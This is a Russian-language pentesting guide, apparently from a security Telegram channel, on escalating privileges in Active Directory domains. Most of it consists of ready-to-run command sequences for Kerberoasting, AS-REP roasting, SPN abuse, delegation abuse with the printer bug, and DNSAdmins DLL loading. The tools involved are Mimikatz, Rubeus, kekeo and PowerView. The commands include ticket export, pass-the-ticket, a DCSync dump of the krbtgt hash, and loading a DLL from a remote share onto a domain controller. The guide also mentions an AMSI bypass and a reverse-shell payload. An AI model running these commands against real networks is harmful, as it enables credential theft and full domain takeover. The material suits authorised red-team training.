Active Directory - Domain Privilege Escalation
SecDet SamuraiЭтот руководство объясняет повышение привилегий домена Active-Directory в основном с помощью Kerberos, AS-REP, Set-SPN и делегирование Kerberos. Также объясню те термины, которые должен знать каждый пентестер чтобы понимать атаки, выполняемые в сети Active Directory.

Перед ознакомлением с этой статьей рекомендую почитать начальное введение в эксплуатацию AD:
📌 AD For Red Team
📌 Используем Offensive PowerShell
На протяжении всей статьи я буду использовать powerview.ps1 и Invoke-Mimikatz при повышении привилегий в Windows/Active Directory Domain. Если потребуются какие-либо другие инструменты, они будут упомянуты в конеце.
Kerberost
- Автономный взлом паролей сервисных учетных записей.
- Тикеты сеанса Kerberos (TGS) имеет серверную часть, которая зашифрована с хэшем пароля сервисной учетной записи. Это позволяет запросить тикет и провести офлайн-атаку на пароль.
- Сервисные учетные записи часто игнорируются (пароли редко меняются) и имеют привилегированный доступ.
- Хэши паролей учетных записей служб могут использоваться для создания silver ticket.
Методология
- 1. Сначала найдите все учетные записи SPN
- 2. Выберите SPN администратора домена, так как мы делаем повышение привилегий
- 3. Установите имя участника-службы в качестве значения списка аргументов и создайте новый объект (запросите TGS).
- 4. Экспортируйте все тикеты с помощью mimikatz
- 5. Запишите имя файла, в котором хранится тикет этой службы.
- 6. Взломайте тикет
PowerView
Найдите учетные записи пользователей, используемые в качестве служебной учетной записи.
Get-NetUser -SPN Get-NetUser -SPN -Verbose | select displayname,memberof
Командлет
Запросить ТГС
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "spn-name-here"
Проверьте, был ли предоставлен TGS
klist
Invoke-Mimikatz
Экспортируйте все билеты
Invoke-Mimikatz -Command '"kerberos::list /export"'
tgsrepcrack
Взломайте хэш
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\file-name-which-got-exported.kirbi
AS-REP
- Если
UserAccountControlв настройках включено «Не требовать предварительной аутентификации Kerberos» - предварительная аутентификация Kerberos отключена, можно получить взламываемый пользовательский AS-REP и перебором в автономном режиме. - При наличии достаточных прав (
GenericWriteилиGenericAll) предварительная проверка подлинности Kerberos также может быть принудительно отключена.
Методология
1. Перечислите пользователей, которым не требуется предварительная аутентификация
2. Вы можете попробовать отключить требование предварительной аутентификации пользователя, если у вас есть необходимые разрешения.
3. Выполните запрос AS-REP к пользователю и получите хеш.
4. Используйте JTR для взлома хэша
PowerView
Перечислить пользователей
Get-DomainUser -PreauthNotRequired -Verbose
Проверить права RDPUsers на ACL (дополнительно)
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Отключить предварительную аутентификацию Kerberos (дополнительно)
Set-DomainObject -Identity <user> -XOR @{useraccountcontrol=4194304} -Verbose
ASREPRoast
Запросить AS-REP
Get-ASREPHash -UserName USER -Verbose
Чтобы перечислить всех пользователей с отключенной предварительной аутентификацией Kerberos и запросить хэш (дополнительно)
Invoke-ASREPRoast -Verbose
Set-SPN
- При наличии достаточных прав (
GenericAll/GenericWrite) SPN целевого пользователя может быть любым (уникальным в домене). - Затем мы можем запросить TGS без особых привилегий. После этого TGS может быть «обжарен через Kerberos».
Методология
1. Поиск всех участников, у которых есть определенная группа, необходимая в ACL; В этом случае RDPUsers
2. Убедитесь, что имя участника-службы еще не существует.
3. Если нет, создайте уникальный SPN для этой учетной записи.
4. Запрос TGS
5. Экспорт тикетов
6. Взломайте файл, созданный этой службой, с помощью JTR или tgsrepcrack.
PowerView
Проверьте групповые права на ACL
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Проверьте, есть ли у пользователя имя участника-службы
Get-DomainUser -Identity <user-here> | select serviceprincipalname
Установите имя участника-службы для пользователя (должно быть уникальным для домена).
Set-DomainoObject -Identity <user-here> -Set @{serviceprincipalname='ops/whatever1'}
Командлет
Запросить TGS
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
Проверьте, был ли предоставлен TGS
klist
Invoke-Mimikatz
Экспортируйте все тикеты
Invoke-Mimikatz -Command '"kerberos::list /export"'
Получить хэш цели напрямую (дополнительно)
Get-DomainUser -Identity <user-here> | Get-DomainSPNTicket | select -ExpandProperty Hash
tgsrepcrack
Взломайте хэш
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\file-name-which-got-exported.kirbi
Неограниченное делегирование
- Делегирование Kerberos позволяет «повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенным на другом сервере».
- Обычно это полезно в многоуровневых службах или приложениях, где требуется двойной переход Kerberos.
- Например, пользователи аутентифицируются на веб-сервере, а веб-сервер делает запросы к серверу базы данных. Веб-сервер может запрашивать доступ к ресурсам (все или некоторые ресурсы в зависимости от типа делегирования) на сервер базы данных как пользователь, а не как служба веб-сервера учетной записи.
- Обратите внимание, что для приведенного выше примера службы учетная запись для веб-службы должна быть доверенной, чтобы делегирование могло делать запросы как пользователь.

- Пользователь предоставляет учетные данные контроллеру домена.
- DC возвращает TGT.
- Пользователь запрашивает TGS для веб-службы на веб-сервере.
- DC предоставляет TGS.
- Пользователь отправляет TGT и TGS на веб-сервер.
- Учетная запись службы веб-сервера использует TGT пользователя для запроса TGS для сервера базы данных из контроллера домена.
- Учетная запись службы веб-сервера подключается к серверу базы данных в качестве пользователя.
Существует два основных типа делегирования:
- Неограниченное делегирование: сервер первого перехода может запросить доступ к любой службе на любом компьютере.
- Ограниченное делегирование: сервер первого перехода имеет список услуг, которые он может запросить.
Неограниченное делегирование
Машина в неограниченном делегировании
- DC помещает TGT пользователя внутрь TGS. При представлении на сервер с неограниченным делегированием, TGT извлекается из TGS и сохраняется в LSASS . Таким образом, сервер может повторно использовать TGT пользователя для доступа к любому другому ресурсу от имени пользователя.
- Этот может использоваться для повышения привилегий в случае, если мы сможем скомпрометировать компьютер с неограниченным делегированием и администратор домена подключается к этой машине
Методология
1. Например, у нас есть машина pwn1 в качестве неограниченного пользователя; Мы pwn0, и мы получили плацдарм/учетные данные/хэши для машины pwn2, у которой есть доступ локального администратора для машины pwn1; Следовательно, мы можем выполнить эту атаку
2. Получите сеанс Powershell от имени другого пользователя, используя хеша , если необходимо (в данном случае это pwn2/appadmin)
3. Мы можем попробовать найти локальных администраторов, к которым у него есть доступ, используя Find-LocalAdminAccess -Verbose.
4. Создайте New-PSSession , прикрепленный к «неограниченному пользователю»
5. Войдите в новый сеанс, используя Enter-PSSession.
6. Обойдите AMSI
7. ВЫХОД
8. Загрузите Mimikatz.ps1 в новую сессию с помощью команды Invoke
9. Войдите в новый сеанс Enter-PSSession снова
10. Теперь мы можем получить токен администратора и сохранить его на диск
11. Попробуйте проверить, есть ли у вас файл с DA
12. Если нет, мы можем попытаться извлечь какие-либо сеансы, зарегистрированные как администратор как pwn0, используя Invoke-Hunter , а затем снова запустить атаку.
13. Как только мы получим токен DA, мы можем повторно использовать токен, используя Invoke-Mimikatz.
14. Теперь мы можем получить доступ к любому сервису на DC; Пример ls \\dc-corp\C$ или используйте WMI-команды
PowerView
Перечисление компьютеров с неограниченным делегированием
Get-NetComputer -UnConstrained Get-NetComputer -Unconstrained | select -ExpandProperty name
Игнорируйте контроллеры домена, если они появляются в списке, так как для них включено неограниченное делегирование.
Проверить наличие токена и сохранить на диск
Получите токен администратора. После компрометации компьютера с включенным UD мы можем обмануть или дождаться подключения администратора
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
Повторное использование токена DA
Invoke-Mimikatz -Command '"kerberos::ptt Administrator@krbtgt-DOMAIN.LOCAL.kirbi"'
Invoke-Hunter
Извлечь любые сеансы, если вы вошли в систему с правами администратора (если сеанс администратора не найден)
Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose
Методология (метод ошибки принтера)
1. Тот же, что и выше, выполните атаку OPTH, чтобы получить повышенную оболочку как DA.
2. Установите Rubeus.exe для захвата хэшей
3. Запустите MS-RPRN.exe для использования ошибки принтера
4. Скопируйте закодированный в b64 тикет администратора DC
5. Теперь мы можем запустить DCSync-атаку против DC, используя внедренный тикет.
Rubeus.exe
Включите режим монитора на DA
.\Rubeus.exe monitor /interval:5 /nowrap
MS-RPRN.exe
Используем баг принтера из uservm
.\MS-RPRN.exe \\dc-user-here \\user-from-Poll-Server-Method
Rubeus.exe
Введите закодированный b64 тикет
.\Rubeus.exe ptt /ticket:b64-text-goes-here
Invoke-Mimikatz
Выполните атаку DCSync против DCORP-DC, используя введенный тикет.
. .\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Ограниченное делегирование
- Ограниченное делегирование, если оно включено для учетной записи службы, разрешает доступ только к указанные службы на указанных компьютерах в качестве пользователя.
- Типичный сценарий, в котором используется ограниченное делегирование - пользователь проходит аутентификацию в веб-службе без использования Kerberos, и веб-служба отправляет запросы на сервер базы данных для получения результатов на основе авторизации пользователя.
Требуются расширения
- Для определения пользователя используется расширение Service for User (
S4U), которое предоставляет два расширения: Служба пользователя для себя (S4U2self) : позволяет службе получить пересылаемый TGS для себя от имени пользователя. - Служба пользователя для прокси (
S4U2proxy) : позволяет службе получать TGS для второй службы от имени пользователя.
Подробное объяснение
Службы пользователя для себя(S4U2self): позволяет сервису получить TGS с возможностью переадресации для себя от имени пользователя только с основным именем пользователя без указания пароля. Учетная запись службы должна иметь TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION — T2A4D UserAccountControl атрибут.
Служба пользователя для прокси(S4U2proxy) : позволяет сервису получать тикет TGS для второй службы от имени пользователя. Которая вторая служба? Это контролируется msDS-AllowedToDelegateTo.attribute. Этот атрибут содержит список имен участников-служб, к которым пользовательские токены могут быть отправлены.

- Пользователь - X, аутентифицируется в веб-службе (работает со службой учетная запись
websvc) с использованием аутентификации, несовместимой с Kerberos - механизмом. - Веб-сервис запрашивает тикет у ключа Центра распределения (KDC) для учетной записи X без указания пароля, как учетная запись
websvc. - KDC проверяет websvc значение userAccountControl для
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATIONатрибут, и что учетная запись X не заблокирована для делегирования. Если все в порядке возвращает пересылаемый тикет для учетной записи X (S4U2Self). - Затем служба передает этот тикет обратно в KDC и запрашивает билет службы для
CIFS/domain-here. - KDC проверяет поле
msDS-AllowedToDelegateToв веб-службе учетной записи. Если служба указана, она вернет билет службы для запрошенных сервисов (S4U2Proxy). - Теперь веб-служба может аутентифицироваться в CIFS в запрошенной службе как X, используя предоставленный TGS.
Методология
1. Перечислите всех пользователей с ограниченным делегированием.
2. msDS-AllowedToDelegateTo.значение
3. Запросить TGT по хешу пользователя с CD с помощью kekeo(тут)
4. Запишите обратный тикет TGT.
5. Теперь запросите TGS со значениями 2-го и 4-го шагов в качестве параметров в /service и /tgt.
6. Запишите обратный тикет TGS.
7. Теперь мы можем внедрить обратный тикет TGS с помощью Inkove-Mimikatz.
8. Теперь мы можем перечислить файловые системы этой учетной записи. Пример : ls \\dc-account\C$ но не может использовать никакие WMI-команды
10. Но если пользовательский DC, мы можем выполнить тот же процесс, а затем DCSync. атаку
PowerView
Перечислить пользователей и компьютеры с включенным CD
. .\PowerView_dev.ps1 # for users Get-DomainUser -TrustedToAuth # for computers Get-DomainComputer -TrustedToAuth
keko
Запрос TGT
.\kekeo.exe tgt::ask /user:domain-here /domain:domain.local /rc4:rc4-hash-here
Запрос TGS
.\kekeo.exe tgs::s4u /tgt:TGT.kirbi /user:Administrator@domain.local /service:cifs/computer.domain.LOCAL
Invoke-Mimikatz
Внедрение тикета
Invoke-Mimikatz -Command '"kerberos::ptt TGS.kirbi"'
Выполните DCSync (дополнительно)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Мы можем получить доступ к файловой системе
ls \\dc-name-here\C$
Использование Rubeus.exe — UserX
Мы запрашиваем TGT для userX, используя его хэш NTLM, чтобы получить TGS для userX. как Администратор домена - Администратор. Затем TGS использовал для доступа сервис, указанный в параметре/msdsspn(который является файловой системой наdc-child)
.\Rubeus.exe s4u /user:userX /rc4:rc4-hash-here /impersonateuser:Administrator /msdsspn:"CIFS/dc-child.child-domain.root-domain.LOCAL" /ptt
Проверьте, вводится ли TGS
klist
Мы можем получить доступ к файловой системе
ls \\dc-name-here\C$
Использование Rubeus.exe - Computers
Злоупотребление делегированиемcomputerX$с помощью Rubeus (Примечание: используйте параметр/altservice, чтобы включить LDAP для атаки DCSync)
.\Rubeus.exe s4u /user:comuterX$ /rc4:rc4-hash-here /impersonateuser:Administrator /msdsspn:"service-name-here" /altservice:ldap /ptt
Запустите атаку DCSync
. .\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
DNS-администраторы
- Члены группы DNSAdmins могут загружать произвольные DLL с привилегиями
dns.exe(SYSTEM). - В случае, если DC также служит DNS, это обеспечит нам эскалацию до DA. Нужны привилегии для перезапуска службы DNS.
Методология
1. Перечислите всех членов администраторов DNS.
2. Получите сеанс powershell от имени этого пользователя, используя «Pass the hash», поскольку у нас уже будет хэш.
3. Загрузите mimilib.dll с помощью dnscmd
4. Перезапустите DNS контроллера домена.
5. Теперь все DNS-запросы сохраняются в C:\Windows\System32\kiwidns.log.
РСАТ DNS
Из привилегий члена группы DNSAdmins настройте DLL с помощью dnscmd.exe.
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\d11\mimilib.dll
Перезапустите службу DNS
PS> cmd sc \\dcorp-dc stop dns sc \\dcorp-dc start dns
Использование модуля DNSServer
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All $dnsettings.ServerLevelPluginDll = "\\172.16.50.100\d11\mimilib.d11" Set-DnsServerSetting -Inputobject $dnsettings -ComputerName dcorp-dc -Verbose
Пользовательский эксплойт для оболочки Rev
Мы можем отредактировать исходный код kdns.c из mikikatz и добавить нашу собственную вредоносную полезную нагрузку с помощью функции system() и вернуть нам обратную оболочку.
Используемые инструменты
- Скачать Invoke-Mimikatz отсюда: Invoke-Mimikatz
- Загрузите PowerView отсюда: powerview.ps1
- Загрузите PowerView Dev отсюда: powerview.ps1
- Invoke-UserHunter скачать отсюда: Invoke-UserHunter.ps1
- кеко скачать отсюда: кеко
- DnsCMD скачать отсюда: DnsCMD
- tgsrepcrack.py скачать отсюда: tgsrepcrack.py
- Скачать ASREPRoast отсюда: ASREEProast.ps1
Оставайтесь в курсе последних новостей в области кибербезопасности, станьте подписчиком нашего королевства и узнайте о новых методах защит и атак. Не забудьте прочитать и другие наши статьи, чтобы расширить свои знания и быть на шаг впереди потенциальных угроз.
📌https://t.me/secdet_team
📌https://t.me/secdet_team
📌https://t.me/secdet_team
Эти и другие статьи в нашем канале
Безопасность - это постоянный процесс, и каждый шаг, предпринятый в направлении ее улучшения, имеет значение